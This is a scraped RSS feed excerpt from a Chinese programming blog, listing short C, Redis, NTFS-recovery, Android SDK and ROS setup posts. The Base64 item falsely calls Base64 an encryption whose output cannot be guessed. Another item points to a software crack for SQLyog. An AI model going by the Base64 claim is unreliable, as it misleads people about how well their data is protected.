      <description>Base64编码转换原理-C语言&#xA;Base64是一种加密方法。它的特点是：1、速度非常快。2、能够将字符串A转换成字符串B，而且如果你光看字符串B，是猜不出字符串A的内容来的。&#xA;Base64编码其实是将3个8位字节转换为4个6位字节,( 3*8 = 4*6 = 24 )&#xA;这4个六位字节其实仍然是8位,只不过高两位被设置为0. 当一个字节只有6位有效时,它的取值空间为0到 2的6次方减1&#xA;即63,也就是说被转换的Base64编码的每一个编码的取值空间为(0~63)。&#xA;事实上，0~63之间的ASCII码有许多不可见字符，所以应该再做一个映射，&#xA;映射表&#xA;‘A‘ ~ ‘Z‘ ? ASCII(0 ~ 25)&#xA;‘a’ ~ ‘z‘ ? ASCII(26 ~ 51)&#xA;‘0’ ~ ‘9‘ ? ASCII(52 ~ 61)&#xA;‘+‘ ? ASCII(62)&#xA;‘/‘ ? ASCII(63)&#xA;这样就可以将3个8位字节，转换为4个可见字符。&#xA;具体的字节拆分方法为：&#xA;aaaaaabb ccccdddd eeffffff&#xA;~~~~~~~~ ~~~~~~~~ ~~~~~~~~&#xA;字节 1 字节 2 字节 3&#xA;││&#xA;\/&#xA;00aaaaaa 00bbcccc 00ddddee 00ffffff&#xA;注：上面的三个字节位原文，下面四个字节为Base64编码，其前两位均为0。&#xA;这样拆分的时候，原文的字节数量应该是3的倍数，当这个条件不能满足时，用全零字节&#xA;补足，转化时Base64编码用=号代替，这就是为什么有些Base64编码以一个或两个等号结&#xA;束的原因，但等号最多有两个，因为：如果F(origin)代表原文的字节数，F(remain)代&#xA;表余数，则&#xA;F(remain) = F(origin) MOD 3 成立。</description>
    </item>
    <item>
      <title>剪刀石头布c语言 循环程序,什么方法最简单编剪刀石头布程序</title>
      <link>https://bchobby.github.io/posts/a596193c0c853132e4f25e9ba3b20050/</link>
      <pubDate>Wed, 19 May 2021 12:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a596193c0c853132e4f25e9ba3b20050/</guid>
      <description>该楼层疑似违规已被系统折叠 隐藏此楼查看此楼&#xA;水平有限，凑合吧...&#xA;#include #include #include int main()&#xA;{&#xA;printf(&#34;初始分数为0分。赢了加一分，输了减一分，到达6分胜利。到达-6分失败。\n&#34;);&#xA;int score=0;&#xA;do&#xA;{&#xA;if(score==6)&#xA;{&#xA;int x=0;&#xA;for(x=0;x&amp;lt;10;x++)&#xA;printf(&#34;YoU WrE tHe WiNnEr!! CoNgRaTuLaTiOnS!!!\n&#34;);&#xA;fflush(stdin);&#xA;getchar();&#xA;return 0;&#xA;}&#xA;if(score==-6)&#xA;{&#xA;int x=0;&#xA;for(x=0;x&amp;lt;10;x++)&#xA;printf(&#34;YoU lOsT! LoSeR, SuCkEr.\n&#34;);&#xA;fflush(stdin);&#xA;getchar();&#xA;return 0;&#xA;}&#xA;int in;&#xA;srand((unsigned)time(NULL));&#xA;in=rand()%3;&#xA;printf(&#34;请选择： 1为剪刀，2为石头，3为布\n&#34;);&#xA;int choice;&#xA;scanf(&#34;%d&#34;,&amp;amp;choice);&#xA;switch(in)&#xA;{&#xA;case 0:&#xA;printf(&#34;电脑的选择是剪刀。\n&#34;);&#xA;if(choice==1)&#xA;{&#xA;printf(&#34;平手，请继续。\n&#34;);&#xA;}&#xA;if(choice==2)&#xA;{&#xA;printf(&#34;你赢了，请继续。\n&#34;);&#xA;score++;&#xA;}&#xA;if(choice==3)&#xA;{&#xA;printf(&#34;你输了，请继续。\n&#34;);</description>
    </item>
    <item>
      <title>c语言如何输出动态数组,C语言动态数组的使用实现代码</title>
      <link>https://bchobby.github.io/posts/6118363ebf5d88cc5d244cc30621b9d0/</link>
      <pubDate>Wed, 19 May 2021 08:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6118363ebf5d88cc5d244cc30621b9d0/</guid>
      <description>C语言动态数组&#xA;从键盘读入n个整数，使用动态数组存储所读入的整数，并计算它们的和与平均值分别输出。要求尽可能使用函数实现程序代码。平均值为小数的只保留其整数部分。&#xA;样例输入:&#xA;5&#xA;3 4 0 0 2&#xA;样例输出:&#xA;9 1&#xA;样例输入:&#xA;7&#xA;3 2 7 5 2 9 1&#xA;样例输出:&#xA;29 4&#xA;代码如下：&#xA;#include&#xA;int addAll(int a[],int N);&#xA;int aveFun(int sum,int n);&#xA;int main(){&#xA;int N;&#xA;int sum=0,ave=0;&#xA;scanf(&#34;%d&#34;,&amp;amp;N);&#xA;int a[N];&#xA;for(int i=0;i&#xA;scanf(&#34;%d&#34;,&amp;amp;a[i]);&#xA;}&#xA;sum = addAll(a,N);&#xA;ave = aveFun(sum,N);&#xA;printf(&#34;%d %d&#34;,sum,ave);&#xA;}&#xA;int addAll(int a[],int N){&#xA;int sum=0;&#xA;for(int i=0;i&#xA;sum += a[i];&#xA;}&#xA;return sum;</description>
    </item>
    <item>
      <title>SQLyog下载、安装和破解</title>
      <link>https://bchobby.github.io/posts/530bd8e4f5f8d40f90a57d035f71e4ce/</link>
      <pubDate>Tue, 18 May 2021 23:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/530bd8e4f5f8d40f90a57d035f71e4ce/</guid>
      <description>1、SQLyog12.09的下载 链接&#xA;我的链接&#xA;2、SQLyog12.09的安装 默认步骤安装，但是在这里要记着更改安装位置&#xA;3、SQLyog12.09的破解 链接&#xA;我的链接&#xA;参考链接：https://blog.csdn.net/lihua5419/article/details/73881837/</description>
    </item>
    <item>
      <title>c语言setlocale第二个参数,setlocale_本地化支持  |  Localization support_C_参考手册_非常教程...</title>
      <link>https://bchobby.github.io/posts/1439d61cb10d858cc9f086ef6f60b213/</link>
      <pubDate>Tue, 18 May 2021 22:47:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1439d61cb10d858cc9f086ef6f60b213/</guid>
      <description>setlocale&#xA;在头文件中定义&#xA;​&#xA;​&#xA;char * setlocale(int category，const char * locale);&#xA;​&#xA;​&#xA;setlocale函数将指定的系统语言环境或其部分作为新的C语言环境安装。这些修改仍然有效，并会影响到所有区域设置敏感的C库函数的执行，直到下一次调用setlocale。如果locale是空指针，则setlocale查询当前的C语言环境而不修改它。&#xA;参数&#xA;category&#xA;-&#xA;区域设置类别标识符，其中一个LC_xxx宏。可能为null。&#xA;locale&#xA;-&#xA;系统特定的区域设置标识符。对于用户首选语言环境可以是“”，对于最小语言环境可以是“C”&#xA;返回值&#xA;指向一个以null结尾的空字符串的指针，该字符串在应用更改后标识C语言环境(如果有)或空指针失败。&#xA;返回的字符串以及此次调用中使用的类别的副本setlocale可能会稍后在程序中用于将语言环境恢复到此调用结束时的状态。&#xA;注意&#xA;在程序启动期间，等同于setlocale(LC_ALL, &#34;C&#34;);在任何用户代码运行之前执行。&#xA;虽然返回类型是char*，但修改指向的字符是未定义的行为。&#xA;由于setlocale修改影响的区域设置相关的函数执行的全局状态，它是不确定的行为，从一个线程调用它，而另一个线程正在执行任意的功能如下：fprintf，isprint，iswdigit，localeconv，tolower，fscanf，ispunct，iswgraph，mblen，toupper，isalnum，isspace，iswlower，mbstowcs，towlower，isalpha，isupper，iswprint，mbtowc，towupper，isblank，iswalnum，iswpunct，setlocale，wcscoll，iscntrl，iswalpha，iswspace，strcoll，wcstod，isdigit，iswblank，iswupper，strerror，wcstombs，isgraph，iswcntrl，iswxdigit，strtod，wcsxfrm，islower，iswctype, isxdigit.&#xA;POSIX还定义了一个名为“POSIX”的语言环境，该语言环境始终可以访问，并且完全等同于默认的最小“C”语言环境。&#xA;POSIX还指定返回的指针，不仅仅是指向字符串的内容，可能会通过后续对setlocale的调用而失效。&#xA;例&#xA;​&#xA;#include #include #include #include int main(void)&#xA;{&#xA;// the C locale will be UTF-8 enabled English;&#xA;// decimal dot will be German&#xA;// date and time formatting will be Japanese&#xA;setlocale(LC_ALL, &#34;en_US.UTF-8&#34;);&#xA;setlocale(LC_NUMERIC, &#34;de_DE&#34;);&#xA;setlocale(LC_TIME, &#34;</description>
    </item>
    <item>
      <title>c语言setlocale第二个参数,关于setlocale函数的参数问题</title>
      <link>https://bchobby.github.io/posts/1b83d5c3878fc787d2599b594a603f63/</link>
      <pubDate>Tue, 18 May 2021 22:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b83d5c3878fc787d2599b594a603f63/</guid>
      <description>先上代码&#xA;wchar_t ss[10];&#xA;char *p;&#xA;ss[0] = _T(&#39;中&#39;);&#xA;ss[1] = _T(&#39;文&#39;);&#xA;ss[2] = _T(&#39;\0&#39;);&#xA;p = setlocale(LC_ALL, &#34;zh-CN&#34;);&#xA;wprintf(L&#34;%ls\n&#34;, ss);&#xA;printf(&#34;%s\n&#34;, p);&#xA;在用宽字符数组输出中文的时候用setlocale来设置地域，在使用第二个参数的时候出现了一点问题&#xA;(运行环境VC2010Express)&#xA;setlocale(LC_ALL, &#34;chs&#34;);&#xA;或者&#xA;setlocale(LC_ALL, &#34;&#34;);&#xA;都可以能正常输出中文汉字&#xA;但是我在微软的手册里面查不到chs这个参数，如下图&#xA;但是上图的所有参数，无论是简体中文还是繁体中文的参数在VC2010下使用都无法正常使用(意思是setlocale失败，返回值为NULL)&#xA;例如：&#xA;p = setlocale(LC_ALL, &#34;zh-CN&#34;);&#xA;运行结果：&#xA;但是我在VS2017下测试了setlocale函数，发现上面微软手册里的所有简体中文还是繁体中文的参数都可以正常使用&#xA;p = setlocale(LC_ALL, &#34;zh-CN&#34;);&#xA;运行结果：&#xA;还有一点非常奇怪的，我随便输了一个手册里面没有的参数，居然还能正常输出中文&#xA;问题二：为什么在VC2010下，上面这些参数不能用，但是在VS2017下却都可以使用&#xA;问题三：为什么随便输入了一个参数zh-NC(手册里没有这个参数)，却仍然能输出中文汉字</description>
    </item>
    <item>
      <title>CoolShell-第1题</title>
      <link>https://bchobby.github.io/posts/aab9bbfa8eac63210c2911af0840957d/</link>
      <pubDate>Tue, 18 May 2021 22:46:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aab9bbfa8eac63210c2911af0840957d/</guid>
      <description>第1题地址：https://fun.coolshell.cn/welcome.html&#xA;根据数列推理的话，前两个数的乘积得到第三个数，算的6*18=1944。&#xA;访问https://fun.coolshell.cn/1944.html&#xA;并没有过关，似乎X确实是1944，还有个Y不知道。&#xA;老办法，搜索“生命、宇宙以及任何事情的终极答案”，发现是一个电影《银河系漫游指南》里的第42分钟的内容（答案：42）。&#xA;对于为什么是42……网上众说纷纭。&#xA;反正1944*42=81648，得到第2题地址：https://fun.coolshell.cn/81648.html&#xA;收获：人生在世，宇宙茫茫，如果漫无目的，岂不空虚寂寞觉得冷？&#xA;但是企图让一个机器（或别人）告诉你，你自己的人生意义，这是可能是问了一个荒谬的问题，也可能得到一个荒谬的答案。</description>
    </item>
    <item>
      <title>CoolShell-Welcome to CoolShell puzzle game !</title>
      <link>https://bchobby.github.io/posts/79c53efae9f2d55ca68cec0717dc718d/</link>
      <pubDate>Tue, 18 May 2021 22:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79c53efae9f2d55ca68cec0717dc718d/</guid>
      <description>CoolShell地址：https://fun.coolshell.cn/</description>
    </item>
    <item>
      <title>Android SDK下载安装及配置教程</title>
      <link>https://bchobby.github.io/posts/4b317e31eb339fbf26df072091fdda33/</link>
      <pubDate>Tue, 18 May 2021 19:28:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b317e31eb339fbf26df072091fdda33/</guid>
      <description>本文转自：https://blog.csdn.net/qq_35868412/article/details/91366770&#xA;Android SDK下载安装及配置教程。让大家很方便的不用翻墙不用代理地就完成Android开发环境的搭建。&#xA;总结起来，Android开发环境搭建可以分为以下四步：&#xA;第一步、安装JDK； 略&#xA;第二步、安装Eclipse；略&#xA;第三步、下载并安装AndroidSDK；&#xA;第四步、为Eclipse安装ADT插件&#xA;详解：&#xA;第三步、下载并安装AndroidSDK&#xA;首先，下载Android SDK Tools，首先打开https://www.androiddevtools.cn/，我们可以看到这里面有Android开发所需的各种工具，首先找到SDK Tools：&#xA;选择一个最新的版本就行了。注意，这里有exe和zip两种文件可供下载，exe的就是个安装程序，下载下来需要自己双击安装。这里建议下载zip压缩包，下载后，直接解压缩到你想要安装Android的路径就行了。解压后的文件目录如下：&#xA;然后就双击“SDK Manager.exe”，启动SDK Manager，如图所示：&#xA;几个必须要安装的，Tools文件夹里面的Android SDK Tools，然后就是Android SDK Platform-tools和Android SDKBuild-tools，只需要下载最新的版本。&#xA;然后就是API的选择了。因为Android是向下兼容的。所以只选择了下载当前最新的Android API。如果以后不打算用模拟器调试，而是一直用真机来调试的话，那么就可以不用装“system images“了。&#xA;最后就是extras文件夹中的东西了，如下图所示，&#xA;extras中的东西可以只安装上图中的三个，即Android Support Repository、Android SupportLibrary和Google USB Driver。&#xA;接下来就可以进行安装了。要注意，由于这些东西都是在google 的服务器上下载的。所以可能出现连接不上的情况，如下图：&#xA;这种时候，我们可以通过有Android SDK的国内镜像服务器来下载安装，这里推荐几个：&#xA;1、中科院开源协会镜像站地址:&#xA;IPV4/IPV6 :https://mirrors.opencas.ac.cn 端口：80&#xA;2、北京化工大学镜像服务器地址：&#xA;IPv4:https://ubuntu.buct.edu.cn/ 端口：80&#xA;IPv4:https://ubuntu.buct.cn/ 端口：80&#xA;IPv6:https://ubuntu.buct6.edu.cn/ 端口：80&#xA;3、大连东软信息学院镜像服务器地址:&#xA;https://mirrors.neusoft.edu.cn 端口：80&#xA;这里我选择的是大连东软的镜像，使用方法如下：&#xA;首先，点击菜单中的“Tools”,然后选择下拉中的“Options…”，&#xA;然后在弹出的对话框中，填写HTTP Proxy Server为mirrors.neusoft.edu.cn（镜像服务器的地址，注意前面不要加http），然后填写HTTP Proxy Port为80 （端口号）。最后在勾选下面的『Forcehttps://... sources to be fetched using https://...』复选框，如下图所示&#xA;接着点击close，关闭对话框，再重新启动SDK Manager就行啦。</description>
    </item>
    <item>
      <title>clang编译c语言开o优化,针对gcc或clang的LTO可以跨C和C方法进行优化</title>
      <link>https://bchobby.github.io/posts/bda253a95c99d84ebf645415ba259882/</link>
      <pubDate>Tue, 18 May 2021 18:23:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bda253a95c99d84ebf645415ba259882/</guid>
      <description>是!&#xA;链接时优化通常适用于“胖”目标文件中存在的中间表示(IR),其可以包含用于传统链接的机器代码和用于LTO链接的IR.&#xA;在这个阶段,没有更高级的语言结构,因此链接时优化与语言无关.&#xA;GCC&#xA;海湾合作委员会的link-time optimization(LTO)在GCC的中间代表之一GIMPLE上运作. IR始终与语言无关,因此任何链接时优化都可以在任何语言生成的代码中使用.&#xA;Another feature of LTO is that it is possible to apply interprocedural optimizations on files written in different languages:&#xA;06000&#xA;Notice that the final link is done with g++ to get the C++ runtime libraries and -lgfortran is added to get the Fortran runtime libraries. In general, when mixing languages in LTO mode, you should use the same link command options as when mixing languages in a regular (non-LTO) compilation.</description>
    </item>
    <item>
      <title>Nacos 服务调用出错 Connection refused</title>
      <link>https://bchobby.github.io/posts/7156bc136b88d5f4234de99a0c362aa3/</link>
      <pubDate>Tue, 18 May 2021 17:50:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7156bc136b88d5f4234de99a0c362aa3/</guid>
      <description>Nacos 服务调用出错 Connection refused 如图：&#xA;出现了connection refuesd的问题了，在网上查了一圈，很多都是用的eureka注册中心，而我使用的是阿里的nacos注册中心，所以没有现成的解决方案。只能硬着头皮解决了。&#xA;第一步我先去看了我本地启动的服务有没有注册到注册中心，发现本地的服务已经在注册中心成功注册了&#xA;2.第二步，我去看了下我所要调用的那个服务的ip，然后去ping了下，看看网络是不是通的。最后测试了下，发现本地ping是能通的。&#xA;3.第三步也是我出错的一步，我在代码上找不问题，就去看了下服务器上开放的端口，发现开放的端口没有我要调用的微服务的端口，这时我才恍然大悟，原来是我服务器上的端口没有开放，导致一直连接拒绝。完美解决&#xA;查看服务器开放的端口 firewall-cmd --list-all&#xA;开放端口 firewall-cmd --add-port=8870/tcp --permanent&#xA;重启防火墙 firewall-cmd --reload</description>
    </item>
    <item>
      <title>c语言程序中u8是什么意思,c – __u8和uint8_t之间的区别</title>
      <link>https://bchobby.github.io/posts/76cce9a459149470ec05bb3ca44bd218/</link>
      <pubDate>Tue, 18 May 2021 12:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76cce9a459149470ec05bb3ca44bd218/</guid>
      <description>有人可以解释uint8_t和__u8类型之间的区别吗？&#xA;我知道uint8_t是在stdint.h中定义的,并且它们在每个unix系统上都可用.&#xA;/* Unsigned. */&#xA;typedef unsigned char uint8_t;&#xA;typedef unsigned short int uint16_t;&#xA;...&#xA;如果我使用它们可以识别我打算做什么.&#xA;现在我偶然发现了__u8和__u16类型.它似乎对我来说是一样的.&#xA;其中一些类型在linux / types.h中定义&#xA;#ifdef __CHECKER__&#xA;#define __bitwise__ __attribute__((bitwise))&#xA;#else&#xA;#define __bitwise__&#xA;#endif&#xA;#ifdef __CHECK_ENDIAN__&#xA;#define __bitwise __bitwise__&#xA;#else&#xA;#define __bitwise&#xA;#endif&#xA;typedef __u16 __bitwise __le16;&#xA;typedef __u16 __bitwise __be16;&#xA;typedef __u32 __bitwise __le32;&#xA;...&#xA;我没找到__u8但我仍然可以使用它,它的行为就像uint8_t.&#xA;性能或内存消耗有一些差异吗？&#xA;感谢帮助 ：)</description>
    </item>
    <item>
      <title>【性能优化】相关工具记录-gDEBugger</title>
      <link>https://bchobby.github.io/posts/dd5519d091e58e167612aabef02d229a/</link>
      <pubDate>Tue, 18 May 2021 12:07:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd5519d091e58e167612aabef02d229a/</guid>
      <description>1：openGL调试工具，我是主要用来看纹理缓存占用的，其他功能暂时未发掘出来，看纹理图能发现字体的纹理浪费严重&#xA;参考链接 http://blog.sina.com.cn/s/blog_3ca90a0b0101frnv.html&#xA;帮助链接 http://www.gremedy.com/tutorial/&#xA;下载链接 https://download.csdn.net/download/liying426/18830673</description>
    </item>
    <item>
      <title>2021-05-18</title>
      <link>https://bchobby.github.io/posts/27364cdfec04f571117b8425e851343b/</link>
      <pubDate>Tue, 18 May 2021 11:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27364cdfec04f571117b8425e851343b/</guid>
      <description> 工单完工入库作业（asft340）步骤讲解 目录&#xA;工单完工入库作业（asft340）步骤讲解&#xA;步骤一：选择录入（并且启用中文，文本）&#xA;步骤二：选择单号&#xA;选择以后效果图&#xA;步骤三：选择入库申请&#xA;步骤四：选择工单单号&#xA;二次弹窗完成以后效果图&#xA;工单单号选择完成以后效果图&#xA;步骤五：选择申请数量&#xA;步骤六：选择指定库位&#xA;步骤七：选择指定批号（可以任意填写）&#xA;步骤八：进行审核&#xA;步骤五，六，七，操作完成以后的详细&#xA;步骤一：选择录入（并且启用中文，文本） 步骤二：选择单号 选择以后效果图 步骤三：选择入库申请 步骤四：选择工单单号 二次弹窗完成以后效果图 工单单号选择完成以后效果图 步骤五：选择申请数量 步骤六：选择指定库位 步骤七：选择指定批号（可以任意填写） 步骤八：进行审核 步骤五，六，七，操作完成以后的详细图片 </description>
    </item>
    <item>
      <title>数据恢复笔记——NTFS文件系统</title>
      <link>https://bchobby.github.io/posts/627301dff531064f2c76d8d0e273cf3d/</link>
      <pubDate>Tue, 18 May 2021 09:52:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/627301dff531064f2c76d8d0e273cf3d/</guid>
      <description>Winhex数据恢复（NTFS文件系统） DBR的数据结构NTFS文件系统的元文件主文件表MFTMFT属性类型10h属性体数据结构30h属性体的数据结构60h属性体的数据结构70h属性体的数据结构80h属性体的数据结构MFT属性中的属性头数据结构MFT的簇流运行数据结构手工提取文件数据手工提取片段文件数据常驻80h属性 B0属性体的数据结构 DBR的数据结构 偏移描述00-02跳转指令0D-0D每簇扇区数28-2F文件系统扇区总数30-37（MFT）主文件表起使簇号 跳转指令对应数据可以找到NTFS的DBR。&#xA;NTFS文件系统的元文件 在格式化为NTFS文件后，系统对分区写入的文件就是元文件。&#xA;其中根据起使簇号，先跳转到MFT。其中2C-2F位置为对应序号，文件名也可以看出来。用鼠标向下滚过一个扇区可以看到2C-2F位置对应序号1的$MFTMirr文件名。&#xA;主文件表MFT 以明文“FILE”开头。实验中对应46 49 4C 45。每个MFT项都占用1024个字节，即两个扇区。每个MFT项占用的两个扇区，最后两个字节为一个修正值，这个修正值和MFT项中的更新序列号相同。如果系统发现不同，就会认为此MFT项错误，会把开头明文改为“BAAD”。&#xA;MFT属性类型 属性类型值（16进制）描述10标准信息20属性列表30文件名属性40对象ID50安全描述符60卷名70卷信息80文件数据内容90索引根属性A0索引分配树节点B0$MFT文件和索引的位图 10h属性体数据结构 30h属性体的数据结构 其中在实验中winhex显示的38-3B为“06 00 00 00”.可以分为：2和4，表明文件为隐藏的系统文件。&#xA;60h属性体的数据结构 60属性是卷名属性，用以记录卷名。在属性体中记录的为Unicode代码。&#xA;70h属性体的数据结构 70属性是卷信息属性，用以描述卷的版本、状态等信息。&#xA;80h属性体的数据结构 80属性是数据属性常驻80h属性的属性体是数据内容非常驻80h属性的属性体是簇流运行。 MFT属性中的属性头数据结构 其中MFT属性可以分为两类：常驻属性和非常驻属性。&#xA;常驻属性：直接在MFT项中记录属性体。（只能记录少量的数据）&#xA;非常驻属性：在MFT之外的地方记录属性体。&#xA;常驻属性的数据结构（从属性开始的地方偏移，而不是从头）:&#xA;偏移字节（16进制）描述00-03属性类型08-080：常驻属性。1：非常驻属性10-13属性体字节数。（实验中为“4A 00 00 00”，表示属性体4行在多出半行到A这个位置）14-15属性体偏移的字节数 非常驻属性的数据结构（从属性开始的地方偏移，而不是从头）:&#xA;偏移字节（16进制）描述00-03属性类型08-080：常驻属性。1：非常驻属性10-17属性体的起始虚拟簇号18-1F属性体的结束虚拟簇号20-21簇流运行的偏移地址28-2F属性体占用总空间30-37属性体实际占用字节数38-3F属性体的初始大小40-簇流的记录信息 MFT的簇流运行数据结构 32 =&amp;gt; 0011 0010&#xA;第一个数值的低4位为“2”:对应后面两个数值第一个数值的高4位为“3”：簇流大小后面的3个数值前两个数值“C0 02”：簇流的大小后面三个数值“00 00 0C”：簇流起使簇 手工提取文件数据 先在DBR，根据“30-37”对应（MFT）主文件表起使簇号，点击跳转到MFT。(或点击$MFT文件)打开LoveString软件，将文件名输入进去。复制Unicode编码方式的编码。点击“查找十六进制数值”，将刚刚的代码复制进去，下面的勾都不勾。点击查找。会在“30”属性中查找到对应的文件名。在“80”属性中查找属性体部分，按照上面簇流运行的数据结构，查找“簇流大小”、“簇流起使簇”转跳到“簇流起使簇”，右键“选块起使位置”。再跳转到“簇流起使簇”+“簇流大小”位置，右键“选块尾部”。选中之后右键，“编辑”→“复制选块”→“至新文件”。重命名为文件正确格式。 手工提取片段文件数据 如果后面是00，那么那么这个簇流运行结束，否则还有簇流运行。&#xA;下个簇流的起始簇号是相对于这个簇流的起始簇号。&#xA;按照上面一般文件提取顺序，将第一部分文件提取出来，命名为“1”看到后面不为00重复以上操作，将第二部分文件提取出来，命名为“2”。7.（注意：第二个起始簇号并不是上面的标号，第二个簇号是相对于第一个簇号来说，第二个簇号=第一个簇号+标号）提取出两个选块后，“工具”→“文件工具”→“文件合并”。先保存一个后缀名和原文件相同的文件，然后按照顺序进行附加。双击即可。 常驻80h属性 直接创建文件的时候文件内容少点就行，属性体中可以放的下就行。&#xA;选中其属性体，右键→“编辑”→“复制选块”→“至新文件”，即可复制文件。&#xA;B0属性体的数据结构 B0属性为位图属性，描述索引或MFT的分配情况。&#xA;比如：$MFT文件的MFT项中位图存储位置&#xA;“31 01 FF FF 03”其中&#xA;03 FF FF：为“262143”。代表此簇流起始于262143簇&#xA;01：代表大小一个簇。</description>
    </item>
    <item>
      <title>pic单片机ccp脉冲捕捉c语言程序,pic单片机CCP脉冲（PWM）输出</title>
      <link>https://bchobby.github.io/posts/d83ec68c208fb9c666e0d4472b244d4c/</link>
      <pubDate>Mon, 17 May 2021 23:59:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d83ec68c208fb9c666e0d4472b244d4c/</guid>
      <description>#include //该程序用于使CCP1模块产生分辨率为10位的PWM波形，占空比为50%，根据PWM_WIDE计算频率。proteus仿真通过&#xA;//CCP1(CCP2相同设置)模块的PWM工作方式初始化子程序(中断为什么不行呢？)&#xA;#define CCP1&#xA;#define PWM_WIDE 0x7F&#xA;#define PWM_TOTAL PWM_WIDE&amp;lt;&amp;lt;1&#xA;void CCPINIT()&#xA;{&#xA;#ifdef CCP1&#xA;CCPR1L = PWM_WIDE;&#xA;CCP1CON = 0X3C; //设置CCP1模块为PWM工作方式，且其工作&#xA;//循环的低2位为11，高8位为01111111=7F&#xA;TRISC &amp;amp;= 0XFB; //设置CCP1引脚为输出方式&#xA;#else&#xA;CCPR2L = PWM_WIDE;&#xA;CCP2CON = 0X3C; // CCP2&#xA;TRISC &amp;amp;= 0XFD; //设置CCP2引脚为输出方式&#xA;#endif&#xA;PR2=PWM_TOTAL; //设置PWM的工作周期&#xA;INTCON &amp;amp;= 0X00; //禁止总中断和外围中断&#xA;}&#xA;void DelayMs(unsigned int ms)&#xA;{&#xA;unsigned char i;&#xA;while(--ms)&#xA;{&#xA;for(i=110;i&amp;gt;0;--i);&#xA;}&#xA;}&#xA;//主程序&#xA;main()&#xA;{&#xA;TRISD = 0xff;&#xA;CCPINIT(); //CCP1模块的PWM工作方式初始化</description>
    </item>
    <item>
      <title>linux redis模糊删除,【Redis实战】批量模糊删除(适用生产环境)</title>
      <link>https://bchobby.github.io/posts/9cdc68aec3f7d705eda23f0951f42cf6/</link>
      <pubDate>Mon, 17 May 2021 23:23:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cdc68aec3f7d705eda23f0951f42cf6/</guid>
      <description>目前在网上看到的大部分文章都是通过keys 进行模糊匹配并删除的&#xA;下面介绍3种删除方法,建议使用linux去操作,可以结合 xargs(点击查看介绍) 命令进行操作&#xA;参数说明:&#xA;[ip]: ip地址, 参数名 -&amp;gt; -h&#xA;[port]: 端口号, 参数名 -&amp;gt; -p&#xA;[password]: 密码, 参数名 -&amp;gt; -a, 没有密码则不输入 -a [password]&#xA;[index]: 缓存所在的库, 参数名 -&amp;gt; -n&#xA;keys命令&#xA;它会扫整个库,导致Redis阻塞,影响正常使用, 不建议使用&#xA;redis-cli -h [ip] -p [port] -a [password] -n [index] keys &#34;User:*&#34; | xargs redis-cli -h [ip] -p [port] -a [password] -n [index] del&#xA;这是目前网上常用的方法,通过keys 命令返回匹配到的key,然后再使用 xargs整合所有的并删除&#xA;但是这个方法有个致命的问题,就是它是通过keys去扫描模糊匹配,keys命令会导致Redis阻塞问题,并且keys命令在生产环境是禁用的&#xA;scan命令&#xA;它是通过游标的方式扫描 (推荐)&#xA;redis-cli -h [ip] -p [port] -a [password] -n [index] --scan --pattern &#39;User:*&#39; | xargs redis-cli -h [ip] -p [port] -a [password] -n [index] del</description>
    </item>
    <item>
      <title>简答一个c语言程序的,【简答题】运行一个C语言程序主要有哪些步骤?</title>
      <link>https://bchobby.github.io/posts/d15e3a45d8ed7e5a09d72b66752d39f6/</link>
      <pubDate>Mon, 17 May 2021 22:24:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d15e3a45d8ed7e5a09d72b66752d39f6/</guid>
      <description>【简答题】运行一个C语言程序主要有哪些步骤?&#xA;更多相关问题&#xA;As soon as he comes back, I’ll tell him when ___ and see him.A．you will comeB．will you comeC．you com&#xA;He said,“What’s the matter？”→He asked .A．what the matter isB．what the matter wasC．what is the matter&#xA;You’d better give the task to_______you think can finish it ahead of time. A．whoeverB．whomeverC．anyo&#xA;A modern teaching building has been set up in ______ was a wasteland ten years ago.A．whatB．whichC．th&#xA;After＿＿＿seemed a hopeless wait, four coal－miners trapped in the mine for 125 hours were finally resc</description>
    </item>
    <item>
      <title>xavier刷机部署ros</title>
      <link>https://bchobby.github.io/posts/7326b47d1cc476ec4740b079aea64dbf/</link>
      <pubDate>Mon, 17 May 2021 17:24:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7326b47d1cc476ec4740b079aea64dbf/</guid>
      <description>xavier刷机 使用图为T-600 xavier ,安装了256G固态。&#xA;1. 刷需要的镜像文件&#xA;从百度下载对应型号的文件到电脑的系统盘（windows下载文件后，Ubuntu系统作为刷机主机，将文件拷贝到系统盘下，目录无中文字符）&#xA;2. 刷机过程参照图为官网T-600格式化刷机（驱动安装章节）&#xA;3. 刷机后系统默认在30G硬盘里，需要更改系统盘为256G，参照官网T-600文档中SSD作为系统盘章节。&#xA;链接：https://pan.baidu.com/s/1wedD1umQqAbYw28bJ43LXg 提取码：20sp 4. 删除自带的更新源文件&#xA;sudo rm /etc/apt/sources.list.d/nvidia-l4t-apt-source.list sudo apt-get update sudo apt-get upgrade 5. nomachine安装&#xA;6. ROS安装&#xA;参考ROS安装及测试.pdf 安 装 ROS- melodic&#xA;1. 设置 sources.list&#xA;设置您的计算机接受来自 packages.ros.org 的软件。&#xA;$ sudo sh -c &#39;echo &#34;deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main&#34; &amp;gt; /etc/apt/sources.list.d/ros-latest.list&#39; 设置 ros 的官方源对于国内用户来说可能会比较慢，建议您用国内源替换，以下的清华大学 源。&#xA;$ sudo sh -c &#39;echo &#34;deb https://mirrors.tuna.tsinghua.edu.cn/ros/ubuntu $(lsb_release -sc) main&#34; &amp;gt; /etc/apt/sources.list.d/ros-latest.list&#39; 2. 增加 Keys</description>
    </item>
    <item>
      <title>C语言中 定义数组大小时 不能使用变量,编程达人 C语言中数组长度不能用变量定义吗...</title>
      <link>https://bchobby.github.io/posts/271dedec15031c2eddf589c216febcd9/</link>
